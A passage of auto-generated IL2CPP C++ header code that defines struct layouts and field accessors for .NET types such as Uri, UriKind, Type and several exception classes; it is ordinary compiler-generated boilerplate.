#pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.UriComponents struct UriComponents_tE42D5229291668DE73323E1C519E4E1459A64CFF { public: // System.Int32 System.UriComponents::value__ int32_t ___value___2; public: inline static int32_t get_offset_of_value___2() { return static_cast<int32_t>(offsetof(UriComponents_tE42D5229291668DE73323E1C519E4E1459A64CFF, ___value___2)); } inline int32_t get_value___2() const { return ___value___2; } inline int32_t* get_address_of_value___2() { return &___value___2; } inline void set_value___2(int32_t value) { ___value___2 = value; } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // URICOMPONENTS_TE42D5229291668DE73323E1C519E4E1459A64CFF_H #ifndef URIFORMAT_T4355763D39FF6F0FAA2B43E3A209BA8500730992_H #define URIFORMAT_T4355763D39FF6F0FAA2B43E3A209BA8500730992_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.UriFormat struct UriFormat_t4355763D39FF6F0FAA2B43E3A209BA8500730992 { public: // System.Int32 System.UriFormat::value__ int32_t ___value___2; public: inline static int32_t get_offset_of_value___2() { return static_cast<int32_t>(offsetof(UriFormat_t4355763D39FF6F0FAA2B43E3A209BA8500730992, ___value___2)); } inline int32_t get_value___2() const { return ___value___2; } inline int32_t* get_address_of_value___2() { return &___value___2; } inline void set_value___2(int32_t value) { ___value___2 = value; } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // URIFORMAT_T4355763D39FF6F0FAA2B43E3A209BA8500730992_H #ifndef URIIDNSCOPE_TE1574B39C7492C761EFE2FC12DDE82DE013AC9D1_H #define URIIDNSCOPE_TE1574B39C7492C761EFE2FC12DDE82DE013AC9D1_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.UriIdnScope struct UriIdnScope_tE1574B39C7492C761EFE2FC12DDE82DE013AC9D1 { public: // System.Int32 System.UriIdnScope::value__ int32_t ___value___2; public: inline static int32_t get_offset_of_value___2() { return static_cast<int32_t>(offsetof(UriIdnScope_tE1574B39C7492C761EFE2FC12DDE82DE013AC9D1, ___value___2)); } inline int32_t get_value___2() const { return ___value___2; } inline int32_t* get_address_of_value___2() { return &___value___2; } inline void set_value___2(int32_t value) { ___value___2 = value; } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // URIIDNSCOPE_TE1574B39C7492C761EFE2FC12DDE82DE013AC9D1_H #ifndef URIKIND_T26D0760DDF148ADC939FECD934C0B9FF5C71EA08_H #define URIKIND_T26D0760DDF148ADC939FECD934C0B9FF5C71EA08_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.UriKind struct UriKind_t26D0760DDF148ADC939FECD934C0B9FF5C71EA08 { public: // System.Int32 System.UriKind::value__ int32_t ___value___2; public: inline static int32_t get_offset_of_value___2() { return static_cast<int32_t>(offsetof(UriKind_t26D0760DDF148ADC939FECD934C0B9FF5C71EA08, ___value___2)); } inline int32_t get_value___2() const { return ___value___2; } inline int32_t* get_address_of_value___2() { return &___value___2; } inline void set_value___2(int32_t value) { ___value___2 = value; } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // URIKIND_T26D0760DDF148ADC939FECD934C0B9FF5C71EA08_H #ifndef URIQUIRKSVERSION_TB044080854D030F26EB17D99FFE997D0FFB8A374_H #define URIQUIRKSVERSION_TB044080854D030F26EB17D99FFE997D0FFB8A374_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.UriParser_UriQuirksVersion struct UriQuirksVersion_tB044080854D030F26EB17D99FFE997D0FFB8A374 { public: // System.Int32 System.UriParser_UriQuirksVersion::value__ int32_t ___value___2; public: inline static int32_t get_offset_of_value___2() { return static_cast<int32_t>(offsetof(UriQuirksVersion_tB044080854D030F26EB17D99FFE997D0FFB8A374, ___value___2)); } inline int32_t get_value___2() const { return ___value___2; } inline int32_t* get_address_of_value___2() { return &___value___2; } inline void set_value___2(int32_t value) { ___value___2 = value; } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // URIQUIRKSVERSION_TB044080854D030F26EB17D99FFE997D0FFB8A374_H #ifndef URISYNTAXFLAGS_T8773DD32DE8871701F05FBED115A2B51679D5D46_H #define URISYNTAXFLAGS_T8773DD32DE8871701F05FBED115A2B51679D5D46_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.UriSyntaxFlags struct UriSyntaxFlags_t8773DD32DE8871701F05FBED115A2B51679D5D46 { public: // System.Int32 System.UriSyntaxFlags::value__ int32_t ___value___2; public: inline static int32_t get_offset_of_value___2() { return static_cast<int32_t>(offsetof(UriSyntaxFlags_t8773DD32DE8871701F05FBED115A2B51679D5D46, ___value___2)); } inline int32_t get_value___2() const { return ___value___2; } inline int32_t* get_address_of_value___2() { return &___value___2; } inline void set_value___2(int32_t value) { ___value___2 = value; } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // URISYNTAXFLAGS_T8773DD32DE8871701F05FBED115A2B51679D5D46_H #ifndef ARGUMENTOUTOFRANGEEXCEPTION_T94D19DF918A54511AEDF4784C9A08741BAD1DEDA_H #define ARGUMENTOUTOFRANGEEXCEPTION_T94D19DF918A54511AEDF4784C9A08741BAD1DEDA_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.ArgumentOutOfRangeException struct ArgumentOutOfRangeException_t94D19DF918A54511AEDF4784C9A08741BAD1DEDA : public ArgumentException_tEDCD16F20A09ECE461C3DA766C16EDA8864057D1 { public: // System.Object System.ArgumentOutOfRangeException::m_actualValue RuntimeObject * ___m_actualValue_19; public: inline static int32_t get_offset_of_m_actualValue_19() { return static_cast<int32_t>(offsetof(ArgumentOutOfRangeException_t94D19DF918A54511AEDF4784C9A08741BAD1DEDA, ___m_actualValue_19)); } inline RuntimeObject * get_m_actualValue_19() const { return ___m_actualValue_19; } inline RuntimeObject ** get_address_of_m_actualValue_19() { return &___m_actualValue_19; } inline void set_m_actualValue_19(RuntimeObject * value) { ___m_actualValue_19 = value; Il2CppCodeGenWriteBarrier((&___m_actualValue_19), value); } }; struct ArgumentOutOfRangeException_t94D19DF918A54511AEDF4784C9A08741BAD1DEDA_StaticFields { public: // System.String modreq(System.Runtime.CompilerServices.IsVolatile) System.ArgumentOutOfRangeException::_rangeMessage String_t* ____rangeMessage_18; public: inline static int32_t get_offset_of__rangeMessage_18() { return static_cast<int32_t>(offsetof(ArgumentOutOfRangeException_t94D19DF918A54511AEDF4784C9A08741BAD1DEDA_StaticFields, ____rangeMessage_18)); } inline String_t* get__rangeMessage_18() const { return ____rangeMessage_18; } inline String_t** get_address_of__rangeMessage_18() { return &____rangeMessage_18; } inline void set__rangeMessage_18(String_t* value) { ____rangeMessage_18 = value; Il2CppCodeGenWriteBarrier((&____rangeMessage_18), value); } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // ARGUMENTOUTOFRANGEEXCEPTION_T94D19DF918A54511AEDF4784C9A08741BAD1DEDA_H #ifndef OBJECTDISPOSEDEXCEPTION_TF68E471ECD1419AD7C51137B742837395F50B69A_H #define OBJECTDISPOSEDEXCEPTION_TF68E471ECD1419AD7C51137B742837395F50B69A_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.ObjectDisposedException struct ObjectDisposedException_tF68E471ECD1419AD7C51137B742837395F50B69A : public InvalidOperationException_t0530E734D823F78310CAFAFA424CA5164D93A1F1 { public: // System.String System.ObjectDisposedException::objectName String_t* ___objectName_17; public: inline static int32_t get_offset_of_objectName_17() { return static_cast<int32_t>(offsetof(ObjectDisposedException_tF68E471ECD1419AD7C51137B742837395F50B69A, ___objectName_17)); } inline String_t* get_objectName_17() const { return ___objectName_17; } inline String_t** get_address_of_objectName_17() { return &___objectName_17; } inline void set_objectName_17(String_t* value) { ___objectName_17 = value; Il2CppCodeGenWriteBarrier((&___objectName_17), value); } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // OBJECTDISPOSEDEXCEPTION_TF68E471ECD1419AD7C51137B742837395F50B69A_H #ifndef PLATFORMNOTSUPPORTEDEXCEPTION_T14FE109377F8FA8B3B2F9A0C4FE3BF10662C73B5_H #define PLATFORMNOTSUPPORTEDEXCEPTION_T14FE109377F8FA8B3B2F9A0C4FE3BF10662C73B5_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.PlatformNotSupportedException struct PlatformNotSupportedException_t14FE109377F8FA8B3B2F9A0C4FE3BF10662C73B5 : public NotSupportedException_tE75B318D6590A02A5D9B29FD97409B1750FA0010 { public: public: }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // PLATFORMNOTSUPPORTEDEXCEPTION_T14FE109377F8FA8B3B2F9A0C4FE3BF10662C73B5_H #ifndef STREAMINGCONTEXT_T2CCDC54E0E8D078AF4A50E3A8B921B828A900034_H #define STREAMINGCONTEXT_T2CCDC54E0E8D078AF4A50E3A8B921B828A900034_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Runtime.Serialization.StreamingContext struct StreamingContext_t2CCDC54E0E8D078AF4A50E3A8B921B828A900034 { public: // System.Object System.Runtime.Serialization.StreamingContext::m_additionalContext RuntimeObject * ___m_additionalContext_0; // System.Runtime.Serialization.StreamingContextStates System.Runtime.Serialization.StreamingContext::m_state int32_t ___m_state_1; public: inline static int32_t get_offset_of_m_additionalContext_0() { return static_cast<int32_t>(offsetof(StreamingContext_t2CCDC54E0E8D078AF4A50E3A8B921B828A900034, ___m_additionalContext_0)); } inline RuntimeObject * get_m_additionalContext_0() const { return ___m_additionalContext_0; } inline RuntimeObject ** get_address_of_m_additionalContext_0() { return &___m_additionalContext_0; } inline void set_m_additionalContext_0(RuntimeObject * value) { ___m_additionalContext_0 = value; Il2CppCodeGenWriteBarrier((&___m_additionalContext_0), value); } inline static int32_t get_offset_of_m_state_1() { return static_cast<int32_t>(offsetof(StreamingContext_t2CCDC54E0E8D078AF4A50E3A8B921B828A900034, ___m_state_1)); } inline int32_t get_m_state_1() const { return ___m_state_1; } inline int32_t* get_address_of_m_state_1() { return &___m_state_1; } inline void set_m_state_1(int32_t value) { ___m_state_1 = value; } }; #ifdef __clang__ #pragma clang diagnostic pop #endif // Native definition for P/Invoke marshalling of System.Runtime.Serialization.StreamingContext struct StreamingContext_t2CCDC54E0E8D078AF4A50E3A8B921B828A900034_marshaled_pinvoke { Il2CppIUnknown* ___m_additionalContext_0; int32_t ___m_state_1; }; // Native definition for COM marshalling of System.Runtime.Serialization.StreamingContext struct StreamingContext_t2CCDC54E0E8D078AF4A50E3A8B921B828A900034_marshaled_com { Il2CppIUnknown* ___m_additionalContext_0; int32_t ___m_state_1; }; #endif // STREAMINGCONTEXT_T2CCDC54E0E8D078AF4A50E3A8B921B828A900034_H #ifndef TYPE_T_H #define TYPE_T_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Type struct Type_t : public MemberInfo_t { public: // System.RuntimeTypeHandle System.Type::_impl RuntimeTypeHandle_t7B542280A22F0EC4EAC2061C29178845847A8B2D ____impl_9; public: inline static int32_t get_offset_of__impl_9() { return static_cast<int32_t>(offsetof(Type_t, ____impl_9)); } inline RuntimeTypeHandle_t7B542280A22F0EC4EAC2061C29178845847A8B2D get__impl_9() const { return ____impl_9; } inline RuntimeTypeHandle_t7B542280A22F0EC4EAC2061C29178845847A8B2D * get_address_of__impl_9() { return &____impl_9; } inline void set__impl_9(RuntimeTypeHandle_t7B542280A22F0EC4EAC2061C29178845847A8B2D value) { ____impl_9 = value; } }; struct Type_t_StaticFields { public: // System.Reflection.MemberFilter System.Type::FilterAttribute MemberFilter_t25C1BD92C42BE94426E300787C13C452CB89B381 * ___FilterAttribute_0; // System.Reflection.MemberFilter System.Type::FilterName MemberFilter_t25C1BD92C42BE94426E300787C13C452CB89B381 * ___FilterName_1; // System.Reflection.MemberFilter System.Type::FilterNameIgnoreCase MemberFilter_t25C1BD92C42BE94426E300787C13C452CB89B381 * ___FilterNameIgnoreCase_2; // System.Object System.Type::Missing RuntimeObject * ___Missing_3; // System.Char System.Type::Delimiter Il2CppChar ___Delimiter_4; // System.Type[] System.Type::EmptyTypes TypeU5BU5D_t7FE623A666B49176DE123306221193E888A12F5F* ___EmptyTypes_5; // System.Reflection.Binder System.Type::defaultBinder Binder_t4D5CB06963501D32847C057B57157D6DC49CA759 * ___defaultBinder_6; public: inline static int32_t get_offset_of_FilterAttribute_0() { return static_cast<int32_t>(offsetof(Type_t_StaticFields, ___FilterAttribute_0)); } inline MemberFilter_t25C1BD92C42BE94426E300787C13C452CB89B381 * get_FilterAttribute_0() const { return ___FilterAttribute_0; } inline MemberFilter_t25C1BD92C42BE94426E300787C13C452CB89B381 ** get_address_of_FilterAttribute_0() { return &___FilterAttribute_0; } inline void set_FilterAttribute_0(MemberFilter_t25C1BD92C42BE94426E300787C13C452CB89B381 * value) { ___FilterAttribute_0 = value; Il2CppCodeGenWriteBarrier((&___FilterAttribute_0), value); } inline static int32_t get_offset_of_FilterName_1() { return static_cast<int32_t>(offsetof(Type_t_StaticFields, ___FilterName_1)); } inline MemberFilter_t25C1BD92C42BE94426E300787C13C452CB89B381 * get_FilterName_1() const { return ___FilterName_1; } inline MemberFilter_t25C1BD92C42BE94426E300787C13C452CB89B381 ** get_address_of_FilterName_1() { return &___FilterName_1; } inline void set_FilterName_1(MemberFilter_t25C1BD92C42BE94426E300787C13C452CB89B381 * value) { ___FilterName_1 = value; Il2CppCodeGenWriteBarrier((&___FilterName_1), value); } inline static int32_t get_offset_of_FilterNameIgnoreCase_2() { return static_cast<int32_t>(offsetof(Type_t_StaticFields, ___FilterNameIgnoreCase_2)); } inline MemberFilter_t25C1BD92C42BE94426E300787C13C452CB89B381 * get_FilterNameIgnoreCase_2() const { return ___FilterNameIgnoreCase_2; } inline MemberFilter_t25C1BD92C42BE94426E300787C13C452CB89B381 ** get_address_of_FilterNameIgnoreCase_2() { return &___FilterNameIgnoreCase_2; } inline void set_FilterNameIgnoreCase_2(MemberFilter_t25C1BD92C42BE94426E300787C13C452CB89B381 * value) { ___FilterNameIgnoreCase_2 = value; Il2CppCodeGenWriteBarrier((&___FilterNameIgnoreCase_2), value); } inline static int32_t get_offset_of_Missing_3() { return static_cast<int32_t>(offsetof(Type_t_StaticFields, ___Missing_3)); } inline RuntimeObject * get_Missing_3() const { return ___Missing_3; } inline RuntimeObject ** get_address_of_Missing_3() { return &___Missing_3; } inline void set_Missing_3(RuntimeObject * value) { ___Missing_3 = value; Il2CppCodeGenWriteBarrier((&___Missing_3), value); } inline static int32_t get_offset_of_Delimiter_4() { return static_cast<int32_t>(offsetof(Type_t_StaticFields, ___Delimiter_4)); } inline Il2CppChar get_Delimiter_4() const { return ___Delimiter_4; } inline Il2CppChar* get_address_of_Delimiter_4() { return &___Delimiter_4; } inline void set_Delimiter_4(Il2CppChar value) { ___Delimiter_4 = value; } inline static int32_t get_offset_of_EmptyTypes_5() { return static_cast<int32_t>(offsetof(Type_t_StaticFields, ___EmptyTypes_5)); } inline TypeU5BU5D_t7FE623A666B49176DE123306221193E888A12F5F* get_EmptyTypes_5() const { return ___EmptyTypes_5; } inline TypeU5BU5D_t7FE623A666B49176DE123306221193E888A12F5F** get_address_of_EmptyTypes_5() { return &___EmptyTypes_5; } inline void set_EmptyTypes_5(TypeU5BU5D_t7FE623A666B49176DE123306221193E888A12F5F* value) { ___EmptyTypes_5 = value; Il2CppCodeGenWriteBarrier((&___EmptyTypes_5), value); } inline static int32_t get_offset_of_defaultBinder_6() { return static_cast<int32_t>(offsetof(Type_t_StaticFields, ___defaultBinder_6)); } inline Binder_t4D5CB06963501D32847C057B57157D6DC49CA759 * get_defaultBinder_6() const { return ___defaultBinder_6; } inline Binder_t4D5CB06963501D32847C057B57157D6DC49CA759 ** get_address_of_defaultBinder_6() { return &___defaultBinder_6; } inline void set_defaultBinder_6(Binder_t4D5CB06963501D32847C057B57157D6DC49CA759 * value) { ___defaultBinder_6 = value; Il2CppCodeGenWriteBarrier((&___defaultBinder_6), value); } }; #ifdef __clang__ #pragma clang diagnostic pop #endif #endif // TYPE_T_H #ifndef URI_T87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_H #define URI_T87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_H #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Uri struct Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E : public RuntimeObject { public: // System.String System.Uri::m_String String_t* ___m_String_13; // System.String System.Uri::m_originalUnicodeString String_t* ___m_originalUnicodeString_14; // System.UriParser System.Uri::m_Syntax UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * ___m_Syntax_15; // System.String System.Uri::m_DnsSafeHost String_t* ___m_DnsSafeHost_16; // System.Uri_Flags System.Uri::m_Flags uint64_t ___m_Flags_17; // System.Uri_UriInfo System.Uri::m_Info UriInfo_t9FCC6BD4EC1EA14D75209E6A35417057BF6EDC5E * ___m_Info_18; // System.Boolean System.Uri::m_iriParsing bool ___m_iriParsing_19; public: inline static int32_t get_offset_of_m_String_13() { return static_cast<int32_t>(offsetof(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E, ___m_String_13)); } inline String_t* get_m_String_13() const { return ___m_String_13; } inline String_t** get_address_of_m_String_13() { return &___m_String_13; } inline void set_m_String_13(String_t* value) { ___m_String_13 = value; Il2CppCodeGenWriteBarrier((&___m_String_13), value); } inline static int32_t get_offset_of_m_originalUnicodeString_14() { return static_cast<int32_t>(offsetof(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E, ___m_originalUnicodeString_14)); } inline String_t* get_m_originalUnicodeString_14() const { return ___m_originalUnicodeString_14; } inline String_t** get_address_of_m_originalUnicodeString_14() { return &___m_originalUnicodeString_14; } inline void set_m_originalUnicodeString_14(String_t* value) { ___m_originalUnicodeString_14 = value; Il2CppCodeGenWriteBarrier((&___m_originalUnicodeString_14), value); } inline static int32_t get_offset_of_m_Syntax_15() { return static_cast<int32_t>(offsetof(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E, ___m_Syntax_15)); } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * get_m_Syntax_15() const { return ___m_Syntax_15; } inline UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC ** get_address_of_m_Syntax_15() { return &___m_Syntax_15; } inline void set_m_Syntax_15(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * value) { ___m_Syntax_15 = value; Il2CppCodeGenWriteBarrier((&___m_Syntax_15), value); } inline static int32_t get_offset_of_m_DnsSafeHost_16() { return static_cast<int32_t>(offsetof(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E, ___m_DnsSafeHost_16)); } inline String_t* get_m_DnsSafeHost_16() const { return ___m_DnsSafeHost_16; } inline String_t** get_address_of_m_DnsSafeHost_16() { return &___m_DnsSafeHost_16; } inline void set_m_DnsSafeHost_16(String_t* value) { ___m_DnsSafeHost_16 = value; Il2CppCodeGenWriteBarrier((&___m_DnsSafeHost_16), value); } inline static int32_t get_offset_of_m_Flags_17() { return static_cast<int32_t>(offsetof(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E, ___m_Flags_17)); } inline uint64_t get_m_Flags_17() const { return ___m_Flags_17; } inline uint64_t* get_address_of_m_Flags_17() { return &___m_Flags_17; } inline void set_m_Flags_17(uint64_t value) { ___m_Flags_17 = value; } inline static int32_t get_offset_of_m_Info_18() { return static_cast<int32_t>(offsetof(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E, ___m_Info_18)); } inline UriInfo_t9FCC6BD4EC1EA14D75209E6A35417057BF6EDC5E * get_m_Info_18() const { return ___m_Info_18; } inline UriInfo_t9FCC6BD4EC1EA14D75209E6A35417057BF6EDC5E ** get_address_of_m_Info_18() { return &___m_Info_18; } inline void set_m_Info_18(UriInfo_t9FCC6BD4EC1EA14D75209E6A35417057BF6EDC5E * value) { ___m_Info_18 = value; Il2CppCodeGenWriteBarrier((&___m_Info_18), value); } inline static int32_t get_offset_of_m_iriParsing_19() { return static_cast<int32_t>(offsetof(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E, ___m_iriParsing_19)); } inline bool get_m_iriParsing_19() const { return ___m_iriParsing_19; } inline bool* get_address_of_m_iriParsing_19() { return &___m_iriParsing_19; } inline void set_m_iriParsing_19(bool value) { ___m_iriParsing_19 = value; } }; struct Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_StaticFields { public: // System.String System.Uri::UriSchemeFile String_t* ___UriSchemeFile_0; // System.String System.Uri::UriSchemeFtp String_t* ___UriSchemeFtp_1; // System.String System.Uri::UriSchemeGopher String_t* ___UriSchemeGopher_2; // System.String System.Uri::UriSchemeHttp String_t* ___UriSchemeHttp_3; // System.String System.Uri::UriSchemeHttps String_t* ___UriSchemeHttps_4; // System.String System.Uri::UriSchemeWs String_t* ___UriSchemeWs_5; // System.String System.Uri::UriSchemeWss String_t* ___UriSchemeWss_6; // System.String System.Uri::UriSchemeMailto String_t* ___UriSchemeMailto_7; // System.String System.Uri::UriSchemeNews String_t* ___UriSchemeNews_8; // System.String System.Uri::UriSchemeNntp String_t* ___UriSchemeNntp_9; // System.String System.Uri::UriSchemeNetTcp String_t* ___UriSchemeNetTcp_10; // System.String System.Uri::UriSchemeNetPipe String_t* ___UriSchemeNetPipe_11; // System.String System.Uri::SchemeDelimiter String_t* ___SchemeDelimiter_12; // System.Boolean modreq(System.Runtime.CompilerServices.IsVolatile) System.Uri::s_ConfigInitialized bool ___s_ConfigInitialized_20; // System.Boolean modreq(System.Runtime.CompilerServices.IsVolatile) System.Uri::s_ConfigInitializing bool ___s_ConfigInitializing_21; // System.UriIdnScope modreq(System.Runtime.CompilerServices.IsVolatile) System.Uri::s_IdnScope int32_t ___s_IdnScope_22; // System.Boolean modreq(System.Runtime.CompilerServices.IsVolatile) System.Uri::s_IriParsing bool ___s_IriParsing_23; // System.Boolean System.Uri::useDotNetRelativeOrAbsolute bool ___useDotNetRelativeOrAbsolute_24; // System.Boolean System.Uri::IsWindowsFileSystem bool ___IsWindowsFileSystem_25; // System.Object System.Uri::s_initLock RuntimeObject * ___s_initLock_26; // System.Char[] System.Uri::HexLowerChars CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* ___HexLowerChars_27; // System.Char[] System.Uri::_WSchars CharU5BU5D_t4CC6ABF0AD71BEC97E3C2F1E9C5677E46D3A75C2* ____WSchars_28; public: inline static int32_t get_offset_of_UriSchemeFile_0() { return static_cast<int32_t>(offsetof(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_StaticFields, ___UriSchemeFile_0)); } inline String_t* get_UriSchemeFile_0() const { return ___UriSchemeFile_0; } inline String_t** get_address_of_UriSchemeFile_0() { return &___UriSchemeFile_0; } inline void set_UriSchemeFile_0(String_t* value) { ___UriSchemeFile_0 = value; Il2CppCodeGenWriteBarrier((&___UriSchemeFile_0), value); } inline static int32_t get_offset_of_UriSchemeFtp_1() { return static_cast<int32_t>(offsetof(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_StaticFields, ___UriSchemeFtp_1)); } inline String_t* get_UriSchemeFtp_1() const { return ___UriSchemeFtp_1; } inline String_t** get_address_of_UriSchemeFtp_1() { return &___UriSchemeFtp_1; } inline void set_UriSchemeFtp_1(String_t* value) { ___UriSchemeFtp_1 = value; Il2CppCodeGenWriteBarrier((&___UriSchemeFtp_1), value); } inline static int32_t get_offset_of_UriSchemeGopher_2() { return static_cast<int32_t>(offsetof(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_StaticFields, ___UriSchemeGopher_2)); } inline String_t* get_UriSchemeGopher_2() const { return ___UriSchemeGopher_2; } inline String_t** get_address_of_UriSchemeGopher_2() { return &___UriSchemeGopher_2; } inline void set_UriSchemeGopher_2(String_t* value) { ___UriSchemeGopher_2 = value; Il2CppCodeGenWriteBarrier((&___UriSchemeGopher_2), value); } inline static int32_t get_offset_of_UriSchemeHttp_3() { return static_cast<int32_t>(offsetof(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_StaticFields, ___UriSchemeHttp_3)); } inline String_t* get_UriSchemeHttp_3() const { return ___UriSchemeHttp_3; } inline String_t** get_address_of_UriSchemeHttp_3() { return &___UriSchemeHttp_3; } inline void set_UriSchemeHttp_3(String_t* value) { ___UriSchemeHttp_3 = value; Il2CppCodeGenWriteBarrier((&___UriSchemeHttp_3), value); } inline static int32_t get_offset_of_UriSchemeHttps_4() { return static_cast<int32_t>(offsetof(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_StaticFields, ___UriSchemeHttps_4)); } inline String_t* get_UriSchemeHttps_4() const { return ___UriSchemeHttps_4; } inline String_t** get_address_of_UriSchemeHttps_4() { return &___UriSchemeHttps_4; } inline void set_UriSchemeHttps_4(String_t* value) { ___UriSchemeHttps_4 = value; Il2CppCodeGenWriteBarrier((&___UriSchemeHttps_4), value); } inline static int32_t get_offset_of_UriSchemeWs_5() { return static_cast<int32_t>(offsetof(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_StaticFields, ___UriSchemeWs_5)); } inline String_t* get_UriSchemeWs_5() const { return ___UriSchemeWs_5; } inline String_t** get_address_of_UriSchemeWs_5() { return &___UriSchemeWs_5; } inline void set_UriSchemeWs_5(String_t* value) { ___UriSchemeWs_5 = value; Il2CppCodeGenWriteBarrier((&___UriSchemeWs_5), value); } inline static int32_t get_offset_of_UriSchemeWss_6() { return static_cast<int32_t>(offsetof(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_StaticFields, ___UriSchemeWss_6)); } inline String_t* get_UriSchemeWss_6() const { return ___UriSchemeWss_6; } inline String_t** get_address_of_UriSchemeWss_6() { return &___UriSchemeWss_6; } inline void set_UriSchemeWss_6(String_t* value) { ___UriSchemeWss_6 = value; Il2CppCodeGenWriteBarrier((&___UriSchemeWss_6), value); } inline static int32_t get_offset_of_UriSchemeMailto_7() { return static_cast<int32_t>(offsetof(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_StaticFields, ___UriSchemeMailto_7)); } inline String_t* get_UriSchemeMailto_7() const { return ___UriSchemeMailto_7; } inline String_t** get_address_of_UriSchemeMailto_7() { return &___UriSchemeMailto_7; } inline void set_UriSchemeMailto_7(String_t* value) { ___UriSchemeMailto_7 = value; Il2CppCodeGenWriteBarrier((&___UriSchemeMailto_7), value); } inline static int32_t get_offset_of_UriSchemeNews_8() { return static_cast<int32_t>(offsetof(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_StaticFields, ___UriSchemeNews_8)); } inline String_t* get_UriSchemeNews_8() const { return ___UriSchemeNews_8; } inline String_t** get_address_of_UriSchemeNews_8() { return &___UriSchemeNews_8; } inline void set_UriSchemeNews_8(String_t* value) { ___UriSchemeNews_8 = value; Il2CppCodeGenWriteBarrier((&___UriSchemeNews_8), value); } inline static int32_t get_offset_of_UriSchemeNntp_9() { return static_cast<int32_t>(offsetof(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_StaticFields, ___UriSchemeNntp_9)); } inline String_t* get_UriSchemeNntp_9() const { return ___UriSchemeNntp_9; } inline String_t** get_address_of_UriSchemeNntp_9() { return &___UriSchemeNntp_9; } inline void set_UriSchemeNntp_9(String_t* value) { ___UriSchemeNntp_9 = value; Il2CppCodeGenWriteBarrier((&___UriSchemeNntp_9), value); } inline static int32_t get_offset_of_UriSchemeNetTcp_10() { return static_cast<int32_t>(offsetof(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_StaticFields, ___UriSchemeNetTcp_10)); } inline String_t* get_UriSchemeNetTcp_10() const { return ___UriSchemeNetTcp_10; } inline String_t** get_address_of_UriSchemeNetTcp_10() { return &___UriSchemeNetTcp_10; } inline void set_UriSchemeNetTcp_10(String_t* value) { ___UriSchemeNetTcp_10 = value; Il2CppCodeGenWriteBarrier((&___UriSchemeNetTcp_10), value); } inline static int32_t get_offset_of_UriSchemeNetPipe_11() { return static_cast<int32_t>(offsetof(Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E_StaticFields, ___UriSchemeNetPipe_11)); } inline String_t* get_UriSchemeNetPipe_11() const { return ___UriSchemeNetPipe_11; } inline String_t** get_address_of_UriSchemeNetPipe_11() { return &___UriSchemeNetPipe_11; } inline void set_UriSchemeNetPipe_11(String_t* value) { ___UriSchemeNetPipe_11 = value; Il2CppCodeGenWriteBarrier((&___UriSchemeNetPipe_11), value); } inline static int32_t get_offset_of_SchemeDelimiter_12() { return 